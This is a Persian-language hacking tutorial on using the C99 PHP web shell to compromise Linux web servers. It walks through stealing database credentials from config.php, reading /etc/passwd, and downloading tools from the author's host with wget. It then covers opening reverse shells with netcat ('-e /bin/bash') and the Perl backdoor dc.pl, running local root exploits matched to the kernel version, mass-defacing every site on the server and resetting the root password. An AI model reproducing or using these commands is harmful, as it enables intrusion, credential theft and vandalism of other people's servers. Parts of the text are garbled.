
In The Name Of God 
 

 
  

 :مقاله 
 ، نحوه روت C99آموزش کار با شل اسکريپت 

  کردنMass Defaceشدن به سرور  و 
 

 :نويسنده

 )H3kt0rZ(محمود مختاری 
  
  
  
  
  
  
  



  با سلام
  .آشنا کنمدر سرور ھای لینوکس  C99در این مقالھ قصد دارم شما را با نحوه کار با شل اسکریپت 

 وب ابزارھایی ھستند کھ اجازه ح ذف ، ادی ت ، دانل ود و خوان دن ص فحات و       شل اسکریپت ھای تحت   
  .آپلود فایل بر روی سرور را بھ ھکر می دھند

  .نوشتھ می شوند...  و Perl ، Asp ، Phpشل اسکریپت ھا بھ زبان ھای مختلفی مثل 
م ی ت وان از    را اجرا کنند پس در س رور ھ ای لین وکس ن   Aspسرور ھای لینوکس نمی توانند کدھای      

 از ش ل اس کریپت ھ ای نوش تھ ش ده ب ھ       . اس تفاده ک رد  Aspشل اسکریپت ھ ای نوش تھ ش ده ب ھ زب ان         
  . در سرور ھای ویندوز استفاده می شودAspزبان 

  . بحث خواھیم کردPhpدر این مقالھ در مورد شل اسکریپت ھای 
 ، C99 ، R57 ، NstView ان  واع مختلف  ی دارن  د ک  ھ معروفت  رین آنھ  ا     Phpش  ل اس  کریپت ھ  ای   

Myshell ، RemoteView     می باشند کھ کار کلی این شل اسکریپت ھا بھ طور کلی ش بیھ ب ھ ھ م 
  .می باشد اما ھر کدام ویژگی ھای خاص خود را دارند

  . می باشدC99معروفترین شل اسکریپتی کھ اکثرا از آن استفاده می کنند شل اسکریپت 
  
  

   :C99شل اسکریپت 
 را می بینید کھ شامل قسمت ھای مختلفی می باشد کھ در ادامھ  بھ C99 کریپتدر زیر شکل شل اس    

  .توضیح ھر کدام می پردازم
  

  
  

Software:   
در این قسمت ھمان گونھ کھ از اسم آن مشخص است نرم افزار ھای مورد اس تفاده و ن صب ش ده ب ر            

س رور و ن سخھ    در ای ن ق سمت ن وع وب س رور ن صب ش ده ب ر روی        .روی سرور مشخص شده اس ت  
Phpموجود بر روی سرور مشخص شده است .  

 
Uname –a:   

در این قسمت نوع سیستم عام ل و ورژن کرن ل  و ت اریخ آخ رین آپ دیت کرن ل سی ستم عام ل م شخص             
البتھ در صورتی کھ برای .  می توان سطح دسترسی را بالا بردشده است کھ با توجھ بھ این اطلاعات

  .وجود داشتھ باشدورژن کرنل سرور آسیب پذیری 



  
Uid:   

در ای  ن ق  سمت دسترس  ی م  ا از س  ایت و س  رور ن  شان داده م  ی ش  ود ک  ھ توس  ط ادم  ین س  رور ب  رای          
  ... و Nobody ، Apache ، WwwData: سایت ھای سرور تعریف می شود ، مثل

  
Safe-Mode:   

  .باشددر این قسمت وضعیت امنیت سرور نمایش داده شده است کھ دوحالت می تواند داشتھ 
1 .OFF (Not Secure)            باش د ک ھ در ای ن حال ت م ا م ی ت وانیم دس تورات خ ود را ب ر روی س رور 

  .اجرا کنیم
2 .  ON (Secure) باشد کھ در این حالت ما نمی توانیم دستورات خود را بر روی سرور اجرا کنیم

نیت ی ی ا دور زدن    ھ ا عب ور از س د ام   Bypassک ار  .  اس تفاده کن یم   Bypassکھ در این حالت بای د از  
Safe-Mode ھ ب  ا توج  ھ ب  ھ ورژن  ک   م  ی باش  دPhp  ن  صب ش  ده ب  ر روی س  رور بای  د از Bypass 

  .مناسب برای ھر ورژن استفاده کرد
  

Diractory:   
 دایرکتوری کھ ما در ان قرار داری م و در جل وی آن پرمی شن ی ا س طح      Safe-Modeدر پایین قسمت   

 و در پایین آن مقدار ف ضای خ الی س رور و نی ز     . شده استدسترسی ما بر روی این پوشھ نشان داده  
  .فضای مورد استفاده سرور نشان داده شده است

  
Permision یا سطح دسترسی :  

 ی ا س طح دسترس ی خاص ی تعری ف ش ده       Permisionدر سرور ھای لینوکس برای ھر فایل و پوش ھ     
 م شخص ش ده   Permر ق سنت   ھر فایل یا پوشھ ی ا دایرکت وری در جل وی آن د   Permisionاست کھ   

  . است
  

  : یا سطح دسترسی Permisionانواع 
No Access:   

  .در این حالت ھکر اجازه انجام ھیچ کاری حتی خواندن را نیز ندارد 
 Read:   

  . محتویات و اطلاعات فایل را خوانددر این حالت فقط می توان محتویات موجود در فایل را دید یا
Read & Execute:   

  . خواندن فایل ھا و پوشھ ھا اجازه اجرای فایل ھا نیز داده می شود علاوه بر بھ ھکرحالتدر این 
Write :   

  .در این حالت ھکر می تواند در فایل یا پوشھ یا دایرکتوری تغییر ایجاد کند
Full Control:   

  ... خواندن و ادیت ،: در این حالت ھکر می تواند ھر کاری را کھ می خواھد می تواند انجام دھد مثل
  

اگر برای ما سطح دسترسی باز موجود باشد کھ می توانیم کارھای زیادی انجام دھیم ، اما اگر س طح       
 باز موجود نباش د نم ی ت وان کارھ ای زی ادی انج ام داد از جمل ھ نم ی ت وان            Permisionدسترسی یا   

  :ت زیر استفاده کردعمل آپلود را اجرا کرد کھ برای باز کردن سطح دسترسی می توان از دستورا
Chmod +x FileName 
Chmod 777 FileName 

  . باز داده می شودPerm مورد نظر  و پوشھکھ با این دستور بھ فایل
حال اگر امنیت سرور بالا باشد و نتوان سطح دسترسی را تغییر داد می توان از راه ھ ای دیگ ر وارد       

کھ برای این ک ار بای د ن ام ، ن ام      می باشد دیتابیسیکی از این راه ھا نفوذ بھ بانک اطلاعاتی یا      .شد
 قرار می گیرن د  Config.phpاین اطلاعات اکثرا در فایل . کاربری و پسرود دیتابیس را بدست آورد     

  .اما مکمن است ادمین نام این فایل را بھ دلخواه تغییر دھد



 م ی ت وان ب ھ دیت ابیس     نھ ا آب ا اس تفاده از    می باش د ک ھ   Php کد  خط   حاوی چند  Config.phpفایل  
  .نفوذ کرد

  

  
  

ات موج ود در آن مانن د   ع  با ب از ک ردن آن اطلا  .  را مشاھده می کنید Config.phpدر شکل بالا فایل     
  .شکل زیر بھ نمایش در می آید

  

  
  

حال برای ورود بھ دیتابیس از قسمت . کھ در آن نام ، نام کاربری و پسورد دیتابیس موجود می باشد  
SQLقسمت بالای شل اسکریپت  موجود در C99استفاده می کنیم  .  

 Config.php وارد صفحھ ای می شویم کھ از ما اطلاعات موج ود در فای ل   SQLبا کلیک بر روی   
 البتھ شما می توانید از راھھای دیگری نیز بھ دیتابیس یا بان ک اطلاع اتی ھ ر      .را درخواست می کند   

ز برنامھ ھای ساختھ شده جھت این کار استفاده کنید و سایت وارد شوید کھ در این روش لازم است ا
  . باشدValid سرور IPنیز لازم است در این روش 



  
  

 کلی  ک کنی  د ت  ا ب  ھ Connectدر ای  ن ص  فحھ اطلاع  اتی را ک  ھ بدس  ت آورده ای  د وارد کنی  د و ب  ر روی  
کل زی ر   مط ابق ش    صفحھ ایپس از وصل شدن بھ بانک اطلاعات وارد  . بانک اطلاعاتی وصل شوید   

  .می شوید
  

  
  

  .کھ در این جا می توانید اطلاعات مھمی از جملھ یوزرھا و پسورد ھای سایت را بدست آورید
  

Command Execute:   
  .در این قسمت می توانیم دستورات لینوکس را اجرا کنیم

 داش تھ  لینوکس دارای دستورات زیادی می باشد کھ برای دانستن آنھا بای د ان دکی ب ا لین وکس آش نایی        
  .باشید



  .بعضی از دستورات لینوکس کھ مھم می باشند را توضیح می دھم
  

   :Cdدستور 
ب   ا اس   تفاده از ای   ن دس   تور م   ی ت   وان دایرکت   وری خ   ود را تغیی   ر داد یعن   ی از ی   ک دایرکت   وری ب   ھ      

 ق  رار داری  م و ق  صد داری  م وارد دایرکت  وری   home/ م  ثلا م  ا در دایرکت  وری  .دایرکت  وری دیگ  ر رف  ت 
/tmp  شویم اگ  ر اج  ازه ای  ن ک  ار را داش  تھ باش  یم ب  ا تای  پ دس  تور      بCd /tmp و ران ک  ردن آن در 

  .می رویم  tmp/  بھ دایرکتوری home/ از دایرکتوری Command Executeقسمت 
  

             :Wgetدستور 
 ب رای .  ک رد آپل ود با استفاده از این دستور می توان یک فایل را از ی ک س رور دیگ ر ب ر روی س رور          

  . کھ در آدرس زیر قرار دارد را بر روی سرور ذخیره کنیمgccمثال می خواھیم فایل 
  

Http://H3kt0rZ.persiangig.com/gcc              
  .برای اینکار از دستور زیر استفاده می کنیم

  
Wget Http://H3kt0rZ.persiangig.com/gcc 

  
 لازم آپل  ود Permision ص  ورت وج  ود   در دایرکت  وری م  ورد نظ  ر در  gccک  ھ ب  ا ای  ن دس  تور فای  ل    

در لین  وکس دس  تورات زی  ادی .  ب  ستھ م  ی باش  د Wget در بع  ضی از س  رور ھ  ا دس  تور .خواھ  د ش  د
  .آپلود فایل از سرور دیگر از دستور زیر نیز استفاده کنیدشما می توانید برای . وجود دارد

  
Lwp-download Http://H3kt0rZ.persiangig.com/gcc 

  
   :Catدستور 

از این دستور برای خواندن اطلاعات موجود در  یک  فایل  در ھر  دایرکت وری  ک ھ  باش یم  اس تفاده         
 موجود در دایرکتوری یا پوشھ named.conf یا passwdمثلا قصد داریم اطلاعات  فایل . می شود

/etcرا بخوانیم برای این کار از دستور زیر استفاده می کنیم .  
Cat /etc/passwd 
Cat /etc/named.conf 

  
 بھ طور ھمزمان اس تفاده کن یم یعن ی ھمزم ان ھ م وارد ی ک       wget و cdبرای اینکھ بتوان از دستور   

  از  دستور  زیر  استفاده کنیمدایرکتوری شویم و ھم یک فایل را در  دایرکتوری  مورد  نظر  آپلود     
  .میکنیم

  
Cd /tmp wget http://H3kt0rZ.persiangig.com/gcc 

  
  . آپلود می کندtmp/ را در پوشھ یا دایرکتوری gccور بالا فایل دست

  
   :Idدستور 

  .با استفاده از این دستور سطح دسترسی شما بر روی سرور مشخص می شود 
  

Connect Back:   
 بھ سرور وصل شد و سطح دسترس ی خ ود در س رور    Cmd می توان در Connect Backبوسیلھ 

 C99  ش ل اس کریپت  .  راھھای زیادی وجود داردCB (Connect Back)برای گرفتن . را بالا برد
ھمچن   ین ب   رای ای   ن ک   ار م   ی ت   وان از    . ب   رای ای   ن ک   ار ش   امل ی   ک ق   سمت جداگان   ھ ای م   ی باش   د    

http://H3kt0rZ.persiangig.com/gcc
http://H3kt0rZ.persiangig.com/gcc
http://H3kt0rZ.persiangig.com/gcc
http://H3kt0rZ.persiangig.com/gcc


BackDoor ھ  ایی ک  ھ ب  ھ زب  ان Perl یک  ی از معروفت  رین و پ  ر .  نوش  تھ ش  ده ان  د نی  ز اس  تفاده ک  رد
  : چند شرط الزامی استCBای گرفتن بر.  می باشدdc.pl ھا BackDoorاستفاده ترین 

1. IP  ما Validباشد .  
 نزبا ھای نوشتھ شده بھBackDoor سرور باز یا فعال باشد تا بتوان  بر رویC یا Perlماژول .2

Perl یا Cرا اجرا کرد .  
3.Command Executeباز باشد یعنی بتوان دستورات را اجرا کرد .  
4.Safe-Mode یا سد امنیتی OFF (Not Secure)باشد .  
  

 C99 در ش ل اس کریپت   CB ب رای گ رفتن   . گرفتCBاگر این شرایط موجود باشد براحتی می توان  
 وارد ص  فحھ ای مط  ابق Toolsب  ا کلی  ک ب  ر روی گزین  ھ  .  اس  تفاده ک  ردToolsم  ی ت  وان از ق  سمت  

  .شکل زیر می شوید
  

  
  

 Binding Port:  
برای .  سرور یک پورت باز کنید و بھ آن وصل شوید از این قسمت شما می توانید بر رویاستفادهبا 

 CBقسمت پسورد ھ م م ی توانی د ب رای     ر  پورت مورد نظر را وارد کنید و د Portاین کار در قسمت     
 NetCat بگیرید بای د  CB از این گزینھ بتوانید Cmdبرای اینکھ در . خود یک پسورد انتخاب کنید 

 ای ن اس ت ک ھ    Binding Port بوس یلھ  CBبرای گرفتن شرط لازم .  بگذارید Lisstenرا بھ حالت 
IP   سرور باید Validدر صورت . باشد Valid  ب ودن IP  س رور ابت دا  IP    س رور را بدس ت آوری د و 

 را در ان ذخی   ره ک  رده ای   د و  ب   ا دس   تور زی   ر  NetCat وارد پوش   ھ ای ش   وید ک   ھ Cmdس  پس در  
NetCat را بھ حالت Lisstenقرار دھید .  

Nc Server IP Port 
  

 بای د پ ورتی را ک ھ ب ر روی     Portو ب ھ ج ای     س رور  IP بای د   Server IP در دستور ب الا ب ھ ج ای    
 کلی  ک کنی  د ت  ا  Bind ی  ر روی Binding Portس  پس در ق  سمت . س  رور ب  از ک  رده ای  د وارد کنی  د  

NetCatبھ پورت مورد نظر وصل شود .  
  

Back Connection:   
 خ ود را وارد کن یم   IP بای د  HOSTدر ق سمت  . اده می شود استفCBاز این قسمت نیز برای گرفتن   

س پس ب ا اس تفاده از    .  م ورد نظ ر را وارد کنی د   Portدر ق سمت پ ورت نی ز    .  باش د Valid بای د   IPکھ  
  . قرار دھیدLissten را بھ حالت NetCatدستور زیر 



Nc –l –n –v –p Port 
 

  . کلیک کنیدConnect روی  پورت مورد نظر را وارد کنید و سپس بر ،کھ بھ جای پورت
    وجود  دارد ،  انجام C99 کھ در شل اسکریپت  BackDoorھمھ این کارھا بوسیلھ ابزاری بھ نام 

  .می شود
  BackDoor بگیریم  می توانیم از CB  آن قدر قوی نباشد کھ ما بتوانیم BackDoorحال اگر این 

 باز داری م ش ده   Perm برای این کار ابتدا وارد یک دایرکتوری کھ . استفاده کنیم dc.plدیگری مانند   
  . میدھیمLissten را با دستور زیر در حالت NetCat می کنیم و Upload را در آن dc.plو 

  
Nc –l –n –v –p 2121 

 
  . دستور زیر را وارد می کنیمC99 در شل اسکریپت Command Executeسپس در قسمت 

  
Perl dc.pl IP 2121 

 
  . باشدValid ما باید IP خود را وارد کنیم کھ IP ، IPکھ در این دستور باید بھ جای 

  
   :Invalid IP با Connect Backگرفتن 

در ای  ن ق سمت ق  صد دارم ت ا نح  وه    .  را آم وزش دادم Valid IP ب  ا CBدر ق سمت قب ل نح  وه گ رفتن    
  . را آموزش بدھمInValid IP با CBگرفتن 

 را در آن ذخی  ره NetCat ب  از دارد رفت  ھ و Permisionھ ی  ک دایرکت  وری ک  ھ ب  رای اینک  ار ابت  دا ب  
ق  رار  Lissten را ب  ھ حال  ت NetCat ش  وید و دس  تور زی  ر را وارد کنی  د و Cmdس  پس وارد . کنی  د
  .دھید

  
Nc  –vv –l  –p Port 

 
در  خ  ود را بدس  ت آورده و  IPبای  د  ق  رار دادی  د  Lissten را ب  ھ حال  ت   NetCatو پ  س از ای  ن ک  ھ 

  . کلیک کنیدExecute دستور زیر را وارد کنید و بر روی Command Executeقسمت 
  

./nc.exe –vv YourIP Port –e /bin/bash 
  

 خ  ود را وارد کنی  د و در دو دس  تور ب  الا  IP بای  د YourIPلازم ب  ھ ذک  ر ک  ھ در ای  ن دس  تور ب  ھ ج  ای   
Portانتخاب شده باید یکی باشد .  

  
  . بھ شرح زیر می باشدInValid IPبا  CBروش دیگر برای گرفتن 

 ذخی  ره txt در بیاوری  د و ب  ا پ  سوند Text را ب  ھ ص  ورت BackDoor ، dc.plب  رای ای  ن ک  ار ابت  دا 
 ب از دارد آپل ود کنی د و پ س از آن ب ا دس تور       Permisionکنید و سپس آن را در ی ک دایرکت وری ک ھ      

  . قرار دھیدLissten بھ حالت Cmd را در NetCatزیر 
  

Nc –l –n –v –p Port 
 

د و دس تور زی ر را وارد کنی د و ب ر     ی را در آن ذخی ره ک رده ای د ش و      dc.txtسپس وارد دایرکتوری ک ھ      
  . کلیک کنیدExecuteروی گزینھ 

  
Perl dc.txt YourIP Port 

 



 باش د ب از   InValid ش ما  IP خود را وارد کنید کھ در اینج ا اگ ر   YourIP ، IPدر بالا باید بھ جای    
 InValid ش ما  IP زم انی ک ھ   Valid IPھمچن ین ب رای داش تن    .  بگیری د CB   م ی توانی د  ھ م ش ما  

 از ی ک س رور م ی توانی د از ی ک      CBھمچن ین ب رای گ رفتن    .  استفاده کنی د VPNباشد می توانید از   
  . است ، استفاده کنیدValid IPسرور کھ دارای 

Reverse Shell:  
3  

رفتن      Binding Port در این روش شما بوسیلھ روش  ر روی سـرور و گـ ورت بـ ک پـ  و باز کردن یـ
CB از سروری کھ دارای Valid IP    ھ دارای د از سـروری کـ  اسـت ،  Invalid IP است ، می توانیـ
CB د ای          .  بگیریـ م یکـی دیگـر از راه ھـ ن روش را توضـیح دھـ ھ ایـ ن کـ ل از ایـ  را Binding Portقبـ

ھ دارای          ایی کـ رور ھـ ن روش بــر روی سـ ھ ایـ م کـ ی دھـ ی دھــد   Valid IPتوضـیح مـ واب مـ ستند جـ .  ھـ
 را در بــالا توضــیح C99 در شــل اســکریپت Binding Port بــرای Toolsروش اسـتفاده از ابــزار  

تور در     . دادم رای دسـ ا اجـ ما بـ ھ       Command Executeدر روش دوم شـ د کـ ی دھیـ ام مـ ار انجـ ن کـ  ایـ
  .روش انجام این کار بھ شرح زیر می باشد

دا دسـتور زی ـ  در  رای        Command Execute را در ر ابتـ رور بـ ر روی سـ ورت بـ ک پـ ا یـ د تـ  وارد کنیـ
  .شما باز شود

  
./SHBD Port 

 
ای       ھ جـ سیم    Port ، Portکھ در دستور بالا فقط بـ ی نویـ ر را مـ ورد نظـ ر روی   .  مـ  Executeسـپس بـ

را شـود      پس  . کلیک کنید تا دستور بر روی سـرور اجـ د و    IPسـ ا  NetCat سـرور را بدسـت آوریـ  را بـ
  . بگیریدCBنید تا دستور زیر اجرا ک

  
Nc ServerIP Port 

 
ھ دارای       ما از سـروری کـ د از اینکـھ شـ ست  Valid IPبعـ ھ       CB ھـ ن سـرور بـ د از ایـ ی توانیـ د مـ  گرفتیـ

ھ دارای   د   Valid IPعنوان یک سیستم عامل کـ رفتن   .  اسـت ، اسـتفاده کنیـ رای گـ ھ    CBبـ ھ شـد کـ  گفتـ
 باشــد ، مــی تــوانیم از ھمــین InValid مــا IPحــال اگــر .  باشــد Valid مــا IPبایــد بــھ طــور معمــول 

 دارد Valid IPبــرای ایــن کــار ابتــدا از ســروری کــھ    .  دارد اســتفاده کنــیم Valid IPســروری کــھ  
 بــر روی Wget را بوســیلھ دســتور  NetCatســپس .  مــی گیــریم Binding Port ، CBبوســیلھ 

 NetCat دستور زیر  کھ از سرور گرفتھ ایم با استفاده ازCBسپس در ھمین . سرور آپلود می کنیم
  . قرار می دھیمLisstenرا بھ حالت 

  
./nc –l –n –v –p Port 

 
ســـپس وارد شـــل ســـرور دارای  .  دارد را بـــھ دســـت مـــی آوریـــم Valid IP ســـروری کـــھ IPســـپس 

Invalid IP است ، می شویم و در قسمت Command Exeute     یم و ی کنـ ر را وارد مـ  دسـتور زیـ
  . بگیریمCB  کلیک می کنیم تاExecuteبر روی 

  
Perl dc.pl ServerValidIP Port 

 
ای   د  ServerValidIPکھ در دستور بالا بھ جـ ھ دارای   IP بایـ روری کـ  اسـت و در آن  Valid IP سـ

NetCat را بــھ حالــت Lissten ، در اینجــا ایــن ســرور نقــش یــک سیــستم   . وارد کنــیم قــرار داده ایــم
 InValid IP ، CBاحتــی از ســرور دارای   را ایفــا مــی کنــد و مــی تــوانیم بــھ ر  Valid IPدارای 
  .بگیریم

  
اطر    .  استفاده می شود/.   از دستور ھا در لینوکس برای اجرای برنامھ ھا و فایل: نکتھ ین خـ ھ ھمـ بـ

  . استفاده می کنیمnc/.   از دستورNetCatبالا برای اجرای در 



 می توان انجام CBعد از گرفتن  کار ھایی را کھ بحال  را یاد گرفتید ، CBتا اینجا روش ھای گرفتن 
  .داد را توضیح می دھم

  
   :CB Shellاجرای دستورات در 

رفتن    د از گـ د        Cmd در CBبعـ را کنیـ ود را اجـ از خـ ورد نیـ د دسـتورات مـ ی توانیـ ما در شـل بــرای   .  مـ شـ
سمت     تورات از قـ رای دسـ ا در      Command Executeاجـ د ، امـ ی کردیـ تفاده مـ ھ  CB Shell اسـ  بـ

ھر دستوری را کھ می خواھید اجرا کنید ، اما پاسخ گرفتن از ھر دستور بستگی بھ راحتی می توانید 
می توانید دسـتورات  سرور دارد کھ برای سرور این دستور باز باشد یا بستھ کھ در صورت باز بودن   

  .خود را اجرا کنید
  

Get Root On Server:   
رفتن    د از گـ ی توانــد سـطح دسترسـی خ ـ      CBبعـ ار مـ د کـ ا انجــام چنـ دود بــھ    بـ ود را از یــک دسترسـی محـ

 از ســرور شــما بــھ یــک  Rootبــرای گــرفتن دسترســی  .  یــا کامــل از ســرور برســانید Rootدسترســی 
د  Local Rootاکسپلویت  از داریـ رفتن دسترسـی       .  نیـ رای گـ ادی بـ ای زیـ سپلویت ھـ ر روی  Rootاکـ  بـ

از اسـت   Local Root ، اما برای ھر سرور یک سرور وجود دارند ورد نیـ ایی  ب ـ.  خاص مـ رای شناسـ
Local Root مورد نیاز برای Rootکردن سرور باید بھ چند مورد توجھ کنیم .  

 Kernelنسخھ کرنل سیستم عامل یا ورژن .1
   سیستم عاملUpdateخرین آتاریخ .2

رار           Local Rootاکسپلویت ھای  ورد اسـتفاده قـ شخص مـ دیت مـ ل و آپـ ک کرنـ رای یـ ده ، بـ  نوشـتھ شـ
  . استفاده کنیدUname –aرژن کرنل و آپدیت سرور از دستور برای بدست آورد و. میگیرند

  . بھ نتیجھ زیر می رسیدUname –aبرای مثال در یک سرور بعد از اجرای دستور 
  

Uname –a : Linux Server.com 2.6.9-42 Elsmp #1 SMP Oct 06:21:39 CDT 
2006 i686 

  
ن      .  باشـد  می2006 و آپدیت سرور 42-2.6.9در سرور بالا ورژن کرنل      ھ ایـ رای روت شـدن بـ س بـ پـ

  . بگردیم2006 و آپدیت 24-2.6.9  کرنل برایLocal Rootباید دنبال  سرور 
  .حال پس از یافتن لوکال روت مناسب نوبت بھ روت کردن سرور می رسد

.  خــود را بــر روی ســرور آپلــود کنیــد   Wget ، Local Root بــا دســتور  CB Shellابتــدا در در 
وری Local Rootیشھ در سرور ھای لینوکس  ھم می کنمپیشنھاد ره  tmp/   خود را در دایرکتـ  ذخیـ

د در      777 باز و Permisionکنید ، زیرا این دایرکتوری ھمیشھ  ی توانیـ ایلی را مـ ر فـ  دارد و شما ھـ
  .برای رفتن بھ این دایرکتوری از دستور زیر استفاده کنید. آن آپلود کنید

  
Cd /tmp 

 
 Lwp-download ، Local Root یا Wgetکتوری با استفاده از دستور پس از رفتن بھ این دایر

  .خود را روی سرور آپلود کنید
 خــود بــھ آن  Local Root بــر روی ســرور بایــد بــرای اجــرا کــردن     Local Rootپــس از آپلــود  
Permisionبرای این کار از دستور زیر استفاده کنید.  باز بدھید.  

  
Chmod 777 LocalRoot 

 
  یا
  

Chmod +x LocalRoot 
 



  . خود را اجرا کنیدLocal Rootپس از انجام این کار می توانید 
  . از دستور زیر استفاده کنیدLocal Rootبرای اجرا کردن 

  
./LocalRoot 

 

 
 

د     id با دستور Local Rootپس از اجرا کردن  شخص کنیـ رور مـ ر روی سـ ود را بـ ر  .  دسترسی خـ اگـ
Local Rootآمد باشد باید دسترسی شما  شما برای این سرور کار Rootشود .  

  

  
  

پس از روت شدن بھ سرور می توانید کار ھای زیادی را انجام دھید کھ من در زیر چند مورد از آنھا        
  .را توضیح می دھم

  
  .کار ھایی کھ در پایین توضیح می دھم پس از روت شدن انجام می گیرند



  :پیدا کردن فایل ھای مورد نظر
  . ھر فایلی کھ در نظر دارید می توانید از دستور زیر استفاده کنیدبرای پیدا کردن 

  
Locate FileName 

 
ای       رن فایــل ھـ دا کـ ال قــصد پیـ رای مثـ ن کــار از دسـتور زیــر    . داریــم سـرور را  Config.phpبـ رای ایـ بـ

  .استفاده می کنیم
  

 Locate config.php 
 

برای مثال یک فایل . آن را بخوانید Cat با دستور Config.phpپس از بھ دست آوردن دایرکتوری 
Config.phpدر دایرکتوری زیر قرار دارد .  

  
/home/farsi/public_html/include/config.php 

 
  .برای خواندن آن از دستور زیر استفاده کنید

  
Cat /home/farsi/public_html/include/config.php 

 
Mass Deface:   

ا ب       وان بـ ی تـ ھ سـرور مـ ل       پس از روت شـدن بـ رای عمـ تھ شـده بـ ای نوشـ ھ ھـ ل  Mass Defaceرنامـ  کـ
ایت ھــای روی ســرور را   بــرای .  ھــستندPerl ھــا بــھ زبــان Mass Defaceاکثــر .  کنیــدDefaceسـ

د    Defaceسـپس صـفحھ   .  ابتدا آن را آپلود کنیدMass Defacerاستفاده از  ود کنیـ ز آپلـ ود را نیـ .  خـ
  .کنید خود را با دستور زیر اجرا Mass Defaceپس از آن 

  
./MassDefacer.pl DefacePageDiractory 

 
ود  Deface باید دایرکتوری صفحھ DefacePageDiractoryدر دستور بالا بھ جای    آپلود شده خـ

   در دایرکتوری زیر قرار داشتھ باشد،Defaceمثلا اگر صفحھ . بر روی سرور را وارد کنید
  

/home/farsi/public_html/hack.html 
 

  . بھ صورت زیر می شودMass Defacerدستور برای 
  

./MassDefacer.pl /home/farsi/public_html/hack.html 
 

  . ھا تغییر صفحھ اول سایت ھای سرور می باشدMass Defacerکار 
 بھ صورت خاصی اجرا می شود ، یعنی Mass Defacerالبتھ این نکتھ را باید یاد آور شوم کھ ھر  

Usageخاصی دارد و باید طبق  Usageآن از آن استفاده کنید .  
  
  

   :Root Userتغییر پسور 
وزر   Userبالاترین   ی باشـد  Root در لینوکس یـ وزر        .  مـ ش یـ ھ سـرور در نقـ دن بـ د از روت شـ شـما بعـ

Root   شما با دستور زیر می توانید بدون اینکھ پسورد یوزر    .  کار می کنیدRoot را بدانید ، پسورد 
  . را تغییر دھیدRootیوزر 

  



Password root 
New password 
New password 

 
وزر        سورد یـ ن دسـتور پـ وزر       Rootبا ایـ ا یـ س از آن بـ ی شـود و پـ وض مـ ا    Root عـ د بـ سورد جدیـ  و پـ

  . می توانید بھ سرور وصل شویدPutty برنامھاستفاده از 
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